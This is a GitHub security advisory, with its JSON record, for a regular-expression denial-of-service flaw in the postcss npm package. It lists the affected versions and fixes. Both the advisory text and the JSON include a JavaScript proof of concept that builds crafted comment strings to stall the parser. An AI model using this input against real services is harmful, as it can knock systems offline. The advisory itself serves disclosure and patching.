ghsa-566m-qj78-rww5
Vulnerability from github
Published
2022-01-07 00:21
Modified
2023-09-08 19:35
Severity ?
5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Summary
Regular Expression Denial of Service in postcss
Details

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern regex \/\*\s* sourceMappingURL=(.*)

PoC

js var postcss = require("postcss") function build_attack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/*# sourceMappingURL=" } return ret + "!"; } js postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attack_str = build_attack(i) try { postcss.parse(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } catch (e) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } } }

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "postcss"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "postcss"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.36"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-20T21:23:19Z",
    "nvd_published_at": "2021-04-26T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \n```regex\n\\/\\*\\s* sourceMappingURL=(.*)\n```\n\n### PoC\n```js\nvar postcss = require(\"postcss\")\nfunction build_attack(n) {\n    var ret = \"a{}\"\n    for (var i = 0; i \u003c n; i++) {\n        ret += \"/*# sourceMappingURL=\"\n    }\n    return ret + \"!\";\n}\n```\n```js\npostcss.parse(\u0027a{}/*# sourceMappingURL=a.css.map */\u0027) for (var i = 1; i \u003c= 500000; i++) {\n    if (i % 1000 == 0) {\n        var time = Date.now();\n        var attack_str = build_attack(i) try {\n            postcss.parse(attack_str) var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        } catch (e) {\n            var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        }\n    }\n}\n```",
  "id": "GHSA-566m-qj78-rww5",
  "modified": "2023-09-08T19:35:12Z",
  "published": "2022-01-07T00:21:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23382"
    },
    {
      "type": "WEB",
      "url": "https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/postcss/postcss/releases/tag/7.0.36"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in postcss"
}


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